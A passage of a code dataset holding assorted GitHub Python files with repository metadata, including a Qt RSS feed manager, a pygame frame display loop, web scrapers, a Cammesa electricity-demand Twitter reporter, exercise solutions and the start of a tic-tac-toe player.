self.getWeapon():\r\n needRearm = False\r\n \r\n \r\nantiDisarmer = AntiDisarmer()\r\nantiDisarmer.Main() ","repo_name":"Nicholasjknight/Portfolio-Projects","sub_path":"PythonUOScripts_Razor/anti-disarmer_v1.4.py","file_name":"anti-disarmer_v1.4.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36958755823","text":"import logging\nfrom typing import Dict\n\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtCore import QObject, pyqtSignal\nfrom PyQt5.QtWidgets import QWidget, QUndoStack\n\nfrom rsscast.datatypes import UserContainer, FeedContainer, FeedEntry\nfrom rsscast.gui.widget.feeddialog import FeedDialog\nfrom rsscast.gui.command.addentrycommand import AddEntryCommand\nfrom rsscast.gui.command.editentrycommand import EditEntryCommand\nfrom rsscast.gui.command.removeentrycommand import RemoveEntryCommand\nfrom rsscast.gui.command.setenablestateentrycommand import SetEnableStateEntryCommand\n\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass DataObject( QObject ):\n\n feedChanged = pyqtSignal()\n\n def __init__(self, parent: QWidget = None):\n super().__init__( parent )\n self.parentWidget = parent\n\n self.userContainer = UserContainer() ## user data\n\n self.undoStack = QUndoStack(self)\n\n# self.favsChanged.connect( self.updateAllFavsGroup )\n\n def store( self, outputDir ):\n return self.userContainer.store( outputDir )\n\n def load( self, inputDir ):\n self.userContainer.load( inputDir )\n self.feedChanged.emit()\n\n @property\n def notes(self) -> Dict[str, str]:\n return self.userContainer.notes\n\n @notes.setter\n def notes(self, newData: Dict[str, str]):\n self.userContainer.notes = newData\n\n @property\n def feed(self) -> FeedContainer:\n return self.userContainer.feed\n\n def pushUndo(self, undoCommand):\n self.undoStack.push( undoCommand )\n\n ## ================================================================\n\n def addEntry(self, feedName: str, feedId: str, feedUrl: str):\n self.userContainer.feed.addFeedNew( feedName, feedId, feedUrl )\n self.feedChanged.emit()\n\n def addEntryNew(self):\n parentWidget = self.parent()\n entryDialog = FeedDialog( None, parentWidget )\n entryDialog.setModal( True )\n dialogCode = entryDialog.exec_()\n if dialogCode == QtWidgets.QDialog.Rejected:\n return\n _LOGGER.debug( \"adding entry: %s\", entryDialog.entry.printData() )\n command = AddEntryCommand( self, entryDialog.entry )\n self.pushUndo( command )\n\n def editEntry(self, entry):\n if entry is None:\n return\n parentWidget = self.parent()\n entryDialog = FeedDialog( entry, parentWidget )\n entryDialog.setModal( True )\n dialogCode = entryDialog.exec_()\n if dialogCode == QtWidgets.QDialog.Rejected:\n return\n command = EditEntryCommand( self, entry, entryDialog.entry )\n self.pushUndo( command )\n\n def removeEntry(self, entry: FeedEntry):\n if entry is None:\n return\n command = RemoveEntryCommand( self, entry )\n self.pushUndo( command )\n\n def switchEntryEnableState(self, entry):\n if entry is None:\n return\n command = SetEnableStateEntryCommand( self, entry )\n self.pushUndo( command )\n","repo_name":"anetczuk/rsscast","sub_path":"src/rsscast/gui/dataobject.py","file_name":"dataobject.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24951921926","text":"'''\r\nFileName: displayer.py\r\nAuthor: Chuncheng\r\nVersion: V0.0\r\nPurpose:\r\n'''\r\n\r\n# %%\r\nimport time\r\nimport pygame\r\n\r\nfrom onstart import LOGGER, CFG\r\nfrom onstart import CAPTION, WHITE, BLACK, GRAY, FONT, QUIT_PYGAME, LAYOUT\r\n\r\nfrom timer import Timer\r\nfrom buffer import SERVER\r\nfrom buffer import BUFFER\r\n\r\nimport threading\r\n\r\n# %%\r\nSERVER.serve()\r\n\r\n# %%\r\npygame.display.set_caption(CAPTION)\r\nWINDOW = pygame.display.set_mode(LAYOUT['window_size'])\r\nWINDOW.fill(GRAY)\r\npygame.display.update()\r\n\r\n\r\n# def _draw_message(msg, window=WINDOW, rect=LAYOUT['message_rect']):\r\n# window.fill(BLACK, rect)\r\n# text_surface_obj = FONT.render('-- {} --'.format(msg), True, WHITE, BLACK)\r\n# window.blit(text_surface_obj, rect)\r\n\r\n\r\ndef _frame():\r\n fno, image = BUFFER.get_nowait()\r\n frame = pygame.surfarray.make_surface(image)\r\n return (fno, frame)\r\n\r\n\r\ndef _draw_image(frame, patch):\r\n # WINDOW.blit(frame, patch['corner'], patch['corner'] + patch['size'])\r\n frame = pygame.transform.scale(frame, patch['size'])\r\n WINDOW.blit(frame, patch['corner'])\r\n\r\n\r\nupdate_rect = [\r\n LAYOUT['center_patch']['corner'] + LAYOUT['center_patch']['size'],\r\n LAYOUT['left_patch']['corner'] + LAYOUT['left_patch']['size'],\r\n LAYOUT['right_patch']['corner'] + LAYOUT['right_patch']['size'],\r\n]\r\n\r\n# %%\r\n\r\ncount = 0\r\n\r\nTIMER = Timer()\r\nTIMER.RESET()\r\n\r\nlst = [_frame(), _frame()]\r\n\r\nwhile True:\r\n if TIMER.check() * 10 < count:\r\n print(time.time(), BUFFER.queue.qsize())\r\n\r\n events = [e for e in pygame.event.get()]\r\n\r\n if any([e.type == pygame.QUIT for e in events]):\r\n TIMER.save(folder='timings',\r\n contents_name=['fno1', 'fno2'])\r\n QUIT_PYGAME()\r\n\r\n # for event in pygame.event.get():\r\n # print(event)\r\n # _draw_message(event.dict.get('pos', 'N.A.'))\r\n # # pygame.display.update()\r\n\r\n # if event.type == pygame.QUIT:\r\n # TIMER.save(folder='timings',\r\n # contents_name=['fno1', 'fno2'])\r\n # QUIT_PYGAME()\r\n\r\n if len(lst) < 2:\r\n lst = [_frame(), _frame()]\r\n pass\r\n\r\n continue\r\n\r\n if len(lst) >= 2:\r\n fno1, frame1 = lst.pop(0)\r\n fno2, frame2 = lst.pop(0)\r\n\r\n _draw_image(frame1, LAYOUT['left_patch'])\r\n _draw_image(frame2, LAYOUT['right_patch'])\r\n\r\n pygame.display.update(update_rect)\r\n TIMER.append([fno1, fno2])\r\n count += 1\r\n\r\n# %%\r\n","repo_name":"listenzcc/Video2pictures","sub_path":"project/displayer.py","file_name":"displayer.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19352565945","text":"\n\n\n# plan\n\n# 개발한 scrapper를 웹서버에 넣는 작업\n# 모두가 접근할 수 있는 웹 사이트 만들기\n# 사용자가 python, go, java 등의 키워드를 입력하면 그 언어에 해당하는 직업들을 보여줌\n# 즉, 파이썬뿐 아니라 입력받은 언어에 대한 job 정보를 scrapping 하는 scrapper를 만들 것.\n\n# 웹사이트와 폼을 만들어서 searchbox에 직업 종류를 입력하고 search 버튼을 누르면 csv파일을 만드는 대신 \n# 웹 사이트에 바로 결과를 띄워줄 것(결과를 표로 보여줄 것)\n# 만약 사용자가 다운로드를 원한다면 다운로드할 수 있도록 다운로드 버튼도 제공\n\n\n# 웹 확장을 위해 Flask 사용\n\n# Flask ?\n# 파이썬으로 웹사이트를 만들 수 있게 해주는 micro-framework\n# 수많은 설정을 다 세팅해줄 필요가 없음\n\n\n\n\n\n\n# 1. flask 설치\n\n\n\n\n# 2. 만들었던 scrapper 수정\n# 어떤 입력을 해도 찾을 수 있도록\n\n\n\n\n# 3. dict 자료형을 이용한 fake DB 생성\n# 매 번 스크래핑되는 것을 기다려야하는 문제 해결\n# db에 react를 검색한 결과가 들어있다면 다시 재검색했을 때 scrapper 동작 없이 저장되어있던 결과를 보여줌 \n\n\n\n\n# 4. 검색 폼 작성\n# 검색 키워드 입력 후 버튼 클릭시 '/report'로 이동 \n# (url로 이동할 때 word라는 인자name으로 입력 값이 함께 넘어감)\n\n\n\n\n# 5. 검색 결과를 html페이지로 출력\n\n@app.route(\"/report\") \ndef report():\n # request 함수 이용해서 인자의 이름이 word와 같은 값을 가져옴\n # 이때, word가 None일 경우(검색어를 입력하지 않은 경우), home으로 이동\n # word가 존재할 경우, 소문자 처리\n word = request.args.get('word')\n if word:\n word = word.lower()\n # fake DB에 word와 일치하는 키값이 존재할 경우 (검색기록이 남아있는 경우)\n # 해당 key로 저장된 values 데이터를 가져와 jobs라는 변수에 저장\n # fake DB에 word와 일치하는 키값이 존재하지 않는 경우,\n # scrapper 작동 후 결과값인 job데이터들을 word라는 key값으로 fake DB에 추가 \n existingJobs = db.get(word)\n if existingJobs:\n jobs = existingJobs\n else: \n jobs = get_jobs(word)\n db[word] = jobs\n else:\n return redirect(\"/\")\n # render_template 함수를 리턴하면서 report.html를 렌더\n # 이때, 렌더링시 필요한 데이터 word와 jobs를 함께 넘김\n # 넘길 변수이름 지정-> 렌더링할때 지정해준 이름과 매핑되는 변수에 데이터가 들어가게 됨\n return render_template(\"report.html\", \n searchingBy=word,\n resultsNumber = len(jobs),\n jobs = jobs \n )\n\n\n\n\n\n# 5-1. 렌더링\n# html에서는 \n# 파이썬 변수를 보여주기 위한 코드 -> {{ }} \n# 파이썬 코드를 실행하기 위한 코드 -> {% %} \n# 두 가지를 사용하여 넘겨받은 데이터를 매핑되는 변수에 넣어줌\n\n\n\n\n\n# 6. 파일로 저장 후 내려받기\n# export버튼 클릭시 해당 url로 이동 \n# (url로 이동할 때 word라는 인자name으로 검색키워드값이 함께 넘어감)\n\n\n@app.route(\"/export\")\ndef export():\n # try에 작성한 코드를 실행하다가 try블록 안 어디서든 Exception이raise되면 except 내부에 작성한 코드가 실행됨 \n try:\n # request 함수 이용해서 인자의 이름이 word와 같은 값을 가져옴\n # 이때 word가 None일 경우 예외 발생 -> home으로 이동\n # word가 존재할 경우, 소문자 처리 후 word라는 이름의 key로 저장된 values 데이터를 가져와 jobs라는 변수에 저장\n word = request.args.get('word')\n if not word:\n raise Exception() # 예외를 발생시킴\n word = word.lower()\n jobs = db.get(word) \n # fake DB에 word와 일치하는 키값이 존재하지 않는 경우, 예외 발생 -> home으로 이동\n # fake DB에 word와 일치하는 키값이 존재할 경우 해당 jobs데이터를 csv 파일로 생성하는 save_to_file 함수 실행\n if not jobs: \n raise Exception()\n save_to_file(jobs) \n return send_file(\"jobs.csv\") # 생성할 파일명을 인자로 가지는 send_file 함수를 리턴하면서 사용자에게 넘겨줌\n except:\n return redirect(\"/\")\n\n\n\n\n\n\n\n\n","repo_name":"prkhyo/Python","sub_path":"python_project_2/about_project/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":4310,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41762447532","text":"import numpy as np\n\nConfig = {\n 'vehicle': {\n 'speed': 5,\n 'safe_distance': 5,\n 'body_length': 25,\n 'body_width': 15,\n 'safe_spawn_factor': 1.1\n },\n 'simulator': {\n 'screen_width': 800,\n 'screen_height': 800,\n 'bumper_distance': 5,\n 'spawn_rate': {\n 'fast': 400, # millisecond\n 'medium': 1500, # millisecond\n 'slow': 3500, # millisecond\n },\n 'frame_rate': 30,\n 'gap_between_traffic_switch': 2, # second\n 'moving_averages_period': 1, # second\n 'static_duration': 1, # second\n 'seconds_before_extension': 1, # second\n 'fuzzy_notification_duration': 5 #second\n },\n 'colors': {\n 'black': (0, 0, 0),\n 'white': (255, 255, 255),\n 'dark_gray': (169, 169, 169),\n 'traffic_yellow': (250, 210, 1),\n 'traffic_green': (34, 139, 94),\n 'traffic_red': (184, 29, 19),\n 'red': (255, 0, 0),\n 'yellow': (255, 255, 0),\n 'green': (0, 255, 0)\n },\n 'traffic_light': {\n 'red_light_duration': 10, # second\n 'yellow_light_duration': 1.5, # second\n 'green_light_duration': 10, # second\n 'distance_from_center': (40, 10),\n 'body_height': 30,\n 'body_width': 20\n },\n 'background': {\n 'road_marking_width': 2,\n 'road_marking_alternate_lengths': (20, 10),\n 'road_marking_gap_from_yellow_box': 10,\n 'yellow_box_junction': (50, 50, 50, 50), # top, right, bottom, left\n },\n 'fuzzy': {\n 'range': {\n 'behind_red_light': np.arange(-4, 17, 1),\n 'arriving_green_light': np.arange(-4, 17, 1),\n 'extension': np.arange(0, 21, 1)\n },\n 'membership_function': {\n 'behind_red_light': {\n 'few': [0, 0, 3],\n 'small': [0, 3, 6],\n 'medium': [3, 6, 9],\n 'many': [6, 9, 12]\n },\n 'arriving_green_light': {\n 'few': [0, 0, 3],\n 'small': [0, 3, 6],\n 'medium': [3, 6, 9],\n 'many': [6, 9, 12]\n },\n 'extension': {\n 'zero': [0, 0, 0],\n 'short': [0, 2, 4],\n 'medium': [2, 4, 6],\n 'long': [4, 6, 8]\n }\n }\n }\n}\n","repo_name":"woo-chia-wei/traffic-fuzzy-control","sub_path":"src/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"48"} +{"seq_id":"69968000146","text":"from __future__ import absolute_import\nfrom pyti import catch_errors\nfrom pyti.function_helper import fill_for_noncomputable_vals\nfrom six.moves import range\n\n\ndef weighted_moving_average(data, period):\n \"\"\"\n Weighted Moving Average.\n\n Formula:\n (P1 + 2 P2 + 3 P3 + ... + n Pn) / K\n where K = (1+2+...+n) = n(n+1)/2 and Pn is the most recent price\n \"\"\"\n catch_errors.check_for_period_error(data, period)\n k = (period * (period + 1)) / 2.0\n\n wmas = []\n for idx in range(0, len(data)-period+1):\n product = [data[idx + period_idx] * (period_idx + 1) for period_idx in range(0, period)]\n wma = sum(product) / k\n wmas.append(wma)\n wmas = fill_for_noncomputable_vals(data, wmas)\n\n return wmas\n","repo_name":"kylejusticemagnuson/pyti","sub_path":"pyti/weighted_moving_average.py","file_name":"weighted_moving_average.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":646,"dataset":"github-code","pt":"48"} +{"seq_id":"16364344555","text":"from multiprocessing import Pool \n\n# importing Pool\n# Pool divides the whole input dataset into provided procesess and runs them paralelly in your CPU cores.\n# Say if the size of your input is 40.\n# when procesess = 10 provided\n# The dataset of size 40 will be divided into 10 chunks, with each chunk having 4 units of data. Each process will be assigned one of these chunks.\n# Each process will work on its independently assigned chunk\n# I have cores as 4. So I can work on 4 tasks simultaneously\n# Each process will assign 4 units of data to 4 Cores and runs them\n\n\ndef multi(args):\n lattice, T_start, T_end, steps, N, J = args \n if __name__ == \"__main__\" : \n start = time.time()\n T = np.linspace(T_start, T_end, steps) \n with Pool(processes=10) as pool: \n input_values = [(lattice, N, T[i], J) for i in range (len(T))] # Creating input as args\n results = pool.map(data, input_values) #pool.map requires func and input values as args. It maps the results as array.\n end = time.time()\n print(f\"Time taken to multi is {end-start}\\n\")\n return results\n","repo_name":"ArshadMohammad9/Ising-files","sub_path":"Comments.py","file_name":"Comments.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28866393856","text":"from typing import List\n\nimport pytest\n\nfrom .task import task3\n\n\nclass Case:\n def __init__(self, name: str, n: int, edges: List[List[int]], probabilities: List[float], start: int, end: int,\n answer: float):\n self._name = name\n self.n = n\n self.edges = edges\n self.probabilities = probabilities\n self.start = start\n self.end = end\n self.answer = answer\n\n def __str__(self) -> str:\n return 'task3_test_{}'.format(self._name)\n\n\nTEST_CASES = [\n Case(\n name='case1',\n n=3,\n edges=[\n [0, 1],\n [1, 2],\n [0, 2]\n ],\n probabilities=[0.5, 0.5, 0.2],\n start=0,\n end=2,\n answer=0.25000,\n ),\n]\n\n\n@pytest.mark.parametrize('case', TEST_CASES, ids=str)\ndef test_task3(case: Case) -> None:\n answer = task3(\n n=case.n,\n edges=case.edges,\n probabilities=case.probabilities,\n start=case.start,\n end=case.end,\n )\n assert answer == case.answer\n","repo_name":"Saninsusanin/mostly-graphs-contest","sub_path":"tasks/task3/test_public.py","file_name":"test_public.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36387211519","text":"from lxml import html, etree\nimport requests\n\nsiteIndicator = 0\ni = 1\n\npage = requests.get('https://www.freelance.de/Projekte/K/IT-Entwicklung-Projekte/')\ntree = html.fromstring(page.content)\n\nwhile \"Es wurden leider keine Projekte für Ihre Suchanfrage gefunden.\" not in page.content.decode(\"utf-8\"):\n\n panels = tree.xpath(\"//div[contains(@class, 'panel-body single-profile clearfix')]\")\n\n print(\"Page: \" + str(i))\n\n for panel in panels:\n panelstring = etree.tostring(panel)\n panelElement = html.fromstring(panelstring)\n timeelement = panelElement.xpath(\"//i[contains(@class, 'fa fa-clock-o')]\")\n if len(timeelement) > 0 and \"April\" in timeelement[0].tail or \"Mai\" in timeelement[0].tail or \"Juni\" in timeelement[0].tail or \"Juli\" in timeelement[0].tail:\n linkelement = panelElement.xpath(\"//a[contains(@id, 'project_link_')]\")\n print(linkelement[0].text, \"https://www.freelance.de\" + linkelement[0].attrib['href'], timeelement[0].tail)\n\n siteIndicator += 20\n i += 1\n page = requests.get('https://www.freelance.de/Projekte/K/IT-Entwicklung-Projekte/' + str(siteIndicator) + '-2')\n tree = html.fromstring(page.content)\n\n\n\n","repo_name":"Chry007/FreelancerScraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24110713197","text":"import sys\n\nd = {}\nfor i, l in enumerate(sys.stdin):\n\tfor j, ch in enumerate(l):\n\t\td[i,j] = int(ch == 'L')\n\n#Part 1\np1 = d.copy()\nnew = {0:0}\ndelta = [(-1,-1),(-1,0),(-1,1),(0,-1),(0,1),(1,-1),(1,0),(1,1)]\nwhile new:\n\tnew.clear()\n\tfor (i,j), v in p1.items():\n\t\ttwo_c = v and sum(p1.get((i+di, j+dj), 0) == 2 for di,dj in delta)\n\n\t\tif v == 1 and two_c == 0:\n\t\t\tnew[i,j] = 2\n\t\tif v == 2 and two_c >= 4:\n\t\t\tnew[i,j] = 1\n\t\n\tp1.update(new)\n\nprint([*p1.values()].count(2))\n\n#Part 2\np2 = d.copy()\nnew = {0:0}\nwhile new:\n\tnew.clear()\n\tfor (i,j), v in p2.items():\n\t\tif not v: continue\n\t\t\n\t\tci,cj = i,j\n\n\t\ttwo_c = 0\n\t\tfor di,dj in delta:\n\t\t\ti,j = ci,cj\n\t\t\twhile (i+di, j+dj) in p2 and not (p2[i+di,j+dj] % 2):\n\t\t\t\tif p2[i+di, j+dj] == 2:\n\t\t\t\t\ttwo_c += 1\n\t\t\t\t\tbreak\n\t\t\t\ti += di\n\t\t\t\tj += dj\n\n\t\tif v == 1 and two_c == 0:\n\t\t\tnew[ci,cj] = 2\n\t\tif v == 2 and two_c >= 5:\n\t\t\tnew[ci,cj] = 1\n\n\tp2.update(new)\n\t\nprint([*p2.values()].count(2))\n","repo_name":"ssbhatt4321/AdventOfCode2020","sub_path":"day11.py","file_name":"day11.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"75210235664","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Twitter Consume Reporter - Provincia\n# \n# Ejemplo de recolección de información desde cammesa y su publicacion en twitter.\n\n# In[1]:\n\n\n#hide\nimport os,sys,glob,shutil\nimport zipfile\nfrom tweet_informer_lib import wget,pd,datetime\nfrom tweet_informer_lib import cammesa_consume_reader\nfrom tweet_informer_lib import json,tweepy,reduce,plt,gpd,unidecode,make_cammesa_url_v2\nfrom tweet_informer_lib import make_cammesa_url,make_plt_provincia_capital\nfrom IPython.display import display\n\n#\njnb=False # To display html\nlocal_config=False # to use local credentials files (True) else sys.args input\n\n\n# ### Pre-Procesamiento\n# \n# Las url de cammesa dependen de la provincia o sector a bajar, eso lo gestionamos via un diccionario. Para el presente caso elegimos **Tucuman**.\n\n# In[2]:\n\n\npd_cfg=pd.read_csv('cfg/csv_cfg_provincias.csv',index_col=0)\nprov_dict=pd_cfg.T.to_dict()\n\n\n# In[3]:\n\n\n#hide_input\n#opt='Cordoba'\nopt=sys.argv[5]\nprint('Provincia-Sector: {}'.format(opt))\n\n\n# In[4]:\n\n\nurl_dict={}\nif opt in prov_dict:\n provincia,capital=prov_dict[opt]['Total'],prov_dict[opt]['Capital']\n make_cammesa_url('provincia',provincia,url_dict)\n make_cammesa_url('capital',capital,url_dict)\nelse:\n 'Opciones validas: {}'.format(list(prov_dict.keys()))\n sys.exit()\nurl_dict\n\n\n# In[5]:\n\n\n#hide\ntmp='tmp'+opt\nfor folder in [tmp]:\n os.makedirs(folder,exist_ok=True)\n\n\n# descargamos los archivos ...\n\n# In[6]:\n\n\n#hide_input\ncsv_dict={}\nreq_time=datetime.datetime.now().strftime('%Y%m%d%H%M%S')\nfor key in url_dict:\n filename=os.path.join(tmp,key+'.csv')\n filesaved = wget.download(url_dict[key],out=filename)\n csv_dict.update({key:filesaved})\ncsv_dict\n\n\n# In[7]:\n\n\n#hide\ncsv_=glob.glob(os.path.join(tmp,'*.csv'))\nif len(csv_)==2:\n pass\nelse:\n shutil.rmtree(tmp)\n sys.exit('No CSV files')\n\n\n# ### Dataframe procesado\n\n# In[8]:\n\n\n#hide\npd_ciudad=pd.read_csv(csv_dict['capital'],sep=';',decimal=',',index_col=[0],parse_dates=[0])\npd_provincia=pd.read_csv(csv_dict['provincia'],sep=';',decimal=',',index_col=[0],parse_dates=[0])\n#\npd_merge=pd.merge(pd_provincia,pd_ciudad,left_index=True,right_index=True,suffixes=('_prov','_capital'))\npd_merge[pd_merge < 0] = 0\npd_merge['provincia_sin_capital']=pd_merge['Dem Hoy_prov']-pd_merge['Dem Hoy_capital']\n#\npd_merge_not_na=pd_merge.dropna()\n#\nif len(pd_merge_not_na)>10:\n pass\nelse:\n shutil.rmtree(tmp)\n sys.exit('Short Dataframe')\n\n\n# Observamos el data frame procesado\n\n# In[9]:\n\n\n#hide_input\npd_merge_not_na.head(10)\n\n\n# y generamos el grafico correspondiente que sera utilizado en el tweet\n\n# In[10]:\n\n\ntry:\n fig,tweet_text=make_plt_provincia_capital(pd_merge_not_na,opt,figsize=(16,12))\n # save fig\n figName=os.path.join(tmp,'consumo.png')\n fig.savefig(figName,transparent=False)\nexcept:\n shutil.rmtree(tmp)\n print('Plot ERROR')\n sys.exit('Plot ERROR') \n\n\n# ### Twitter Side\n# \n# Cargamos la configuración y generamos el tweet correspondiente y mostramos un ejemplo (puede no corresponder a la imagen generada).\n\n# In[11]:\n\n\n#collapse\ntry:\n if local_config:\n ## .tweepy.json not available\n config_file = 'cfg/.tweepy.json'\n with open(config_file) as fh:\n config = json.load(fh)\n else:\n # use sys.arg (## .tweepy.json not available)\n config={'consumer_key':sys.argv[1], 'consumer_secret':sys.argv[2], 'access_token': sys.argv[3], 'access_token_secret':sys.argv[4]}\n \n \n auth = tweepy.OAuthHandler(config['consumer_key'], config['consumer_secret'])\n auth.set_access_token(config['access_token'], config['access_token_secret'])\n twitter = tweepy.API(auth)\n tweet =tweet_text\n image_path =figName\n # to attach the media file \n status = twitter.update_with_media(image_path, tweet)\nexcept:\n shutil.rmtree(tmp)\n sys.exit('Failed to TWEET')\n\n## src: https://github.com/jupyter/notebook/issues/2790\nclass Tweet(object):\n def __init__(self, embed_str=None):\n self.embed_str = embed_str\n\n def _repr_html_(self):\n return self.embed_str\n\n\n# In[12]:\n\n\n#hide_input\nif jnb:\n s = (\"\"\"

    Cordoba - Demanda (MW) - 13-04-2020 07:00 - Total Provincia: 829.9 / Provincia sin Capital: 555.2 / Capital: 274.8 / pic.twitter.com/Kzsu9hHARD

    — misc reporter (@ReporterMisc) April 13, 2020
    \"\"\")\n ## src: https://github.com/jupyter/notebook/issues/2790\n display(Tweet(s))\n\n\n# In[13]:\n\n\nshutil.rmtree(tmp)\n\n","repo_name":"felixlapalma/tweet_reporter","sub_path":"consume_reporter_provincias.py","file_name":"consume_reporter_provincias.py","file_ext":"py","file_size_in_byte":4769,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"125209837","text":"def notas(*n, sit=False):\n '''\n - Função para analisar notas e a situação de vários alunos.\n :param n: Recebe várias notas de alunos;\n :param sit: (opcional) Situação da turma;\n :return: Um dicionário com as informações da turma.\n '''\n turma = dict()\n turma['total'] = len(n)\n turma['maior'] = max(n)\n turma['menor'] = min(n)\n turma['media'] = sum(n) / len(n)\n if sit:\n if turma['media'] <= 5:\n turma['sit'] = 'Ruim'\n elif turma['media'] <= 7:\n turma['sit'] = 'Razoável'\n else: \n turma['sit'] = 'Boa'\n return turma\n else:\n return turma\n\n\nprint(notas(5.5, 9, 6.5, 8, sit=True))\n","repo_name":"honeyhugh/PythonCurso","sub_path":"ex105.py","file_name":"ex105.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39085776566","text":"class Solution:\n def evalRPN(self, tokens: List[str]) -> int:\n stack = [];\n s = lambda a,b: a+b\n d = lambda a,b: a-b\n m = lambda a,b: a*b\n div = lambda a,b: math.trunc(a/b)\n operators = {\n '+': s,\n '-': d,\n '*': m,\n '/': div\n }\n\n for token in tokens:\n if token in operators:\n num2 = stack.pop()\n num1 = stack.pop()\n\n stack.append(operators[token](num1, num2))\n else:\n stack.append(int(token))\n\n return stack.pop()","repo_name":"CodEZ47/A2SV_programming","sub_path":"0150-evaluate-reverse-polish-notation/0150-evaluate-reverse-polish-notation.py","file_name":"0150-evaluate-reverse-polish-notation.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7853031226","text":"from pprint import pprint\nfrom pulp import *\nfrom os.path import dirname, abspath, basename\nfrom timeit import default_timer\nimport os\nimport json\n\nroot_dir = dirname(dirname(abspath(__file__)))\nnetwork_dir = os.path.join(root_dir, 'networks')\n\n\ndef subtrails_of(trail, k=10):\n for i in range(1, min(k + 1, len(trail) + 1)):\n for s in map(list, zip(*[trail[j:] for j in range(i)])):\n yield s\n\n\ndef all_subtrails_of(trails):\n subtrails = []\n for subtrail in [s for t in trails for s in subtrails_of(t)]:\n if subtrail not in subtrails:\n subtrails.append(subtrail)\n return subtrails\n\n\ndef load_network(network_path):\n with open(network_path) as network_file:\n network = json.load(network_file)\n arcs = [e['id'] for e in network['edges']]\n trails = network['flows']\n subtrails = all_subtrails_of(trails)\n return arcs, subtrails\n\n\ndef solve(name, arcs, subtrails):\n varX = [[\n LpVariable('Ya{}s{}'.format(a, s), cat=LpBinary)\n for s in range(len(subtrails))\n ] for a in range(len(arcs))]\n\n varY = [\n LpVariable('Ys{}'.format(s), cat=LpBinary)\n for s in range(len(subtrails))\n ]\n\n model = LpProblem(name, LpMinimize)\n\n # Objective function (14)\n model += lpSum(varY)\n\n # Every arc is covered by some subtrail that goes through it (15)\n for a, arc in enumerate(arcs):\n model += lpSum(varX[a][s] for s, subtrail in enumerate(subtrails)\n if arc in subtrail) == 1\n\n # If a subtrail is selected to the solution, then all of its arcs must be selected (16)\n for s, subtrail in enumerate(subtrails):\n model += lpSum(varX[a][s] for a, arc in enumerate(arcs)\n if arc in subtrail) == len(subtrail) * varY[s]\n\n # start = default_timer()\n # model.solve(CPLEX_CMD(msg=1, timelimit=3600))\n # time = default_timer() - start\n # return value(model.objective), time\n\n\nnetwork_paths = sorted(\n [os.path.join(network_dir, f) for f in os.listdir(network_dir)])\ntotal_networks = len(network_paths)\n\nfor i, network_path in enumerate(network_paths):\n network_name = os.path.splitext(basename(network_path))[0]\n print('{} ({}/{})'.format(network_name, i + 1, total_networks))\n start = default_timer()\n arcs, subtrails = load_network(network_path)\n solve(network_name, arcs, subtrails)\n time = default_timer() - start\n print('{};{}\\n'.format(network_name, time))\n with open('cplex_preprocessing_k10.csv', 'a') as f:\n f.write('{};{}\\n'.format(network_name, time))\n","repo_name":"lanahra/tcc","sub_path":"cplex/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16384718610","text":"# https://www.hackerrank.com/challenges/capitalize/problem\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the solve function below.\ndef solve(s):\n flag = False\n result = \"\"\n for c in s:\n if (c.isalpha() or c.isdigit()) and not flag:\n result += c.upper()\n flag = True\n elif c.isspace():\n result += c\n flag = False\n else:\n result += c\n return result\n \nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n s = raw_input()\n\n result = solve(s)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","repo_name":"sonhdang/hackerrank","sub_path":"capitalize.py","file_name":"capitalize.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36717933572","text":"\"\"\"\nTic Tac Toe Player\nWritten by: Vipul Rao\n\"\"\"\n\nfrom copy import deepcopy\nfrom typing import List, Optional, Tuple, Union\n\nX = \"X\"\nO = \"O\"\nEMPTY: None = None\n\n# Yay Typing!! (mypy)\nBoard = List[List]\nPlayer = str\nNumeric = Union[int, float]\nAction = Tuple[int, int]\n\n\ndef initial_state() -> Board:\n \"\"\"\n Returns starting state of the board.\n \"\"\"\n return [[EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY]]\n\n\ndef player(board: Board) -> str:\n \"\"\"\n Returns player who has the next turn on a board.\n \"\"\"\n if board == initial_state():\n return X\n\n if terminal(board):\n return \"\"\n\n num_xs = 0\n num_os = 0\n for 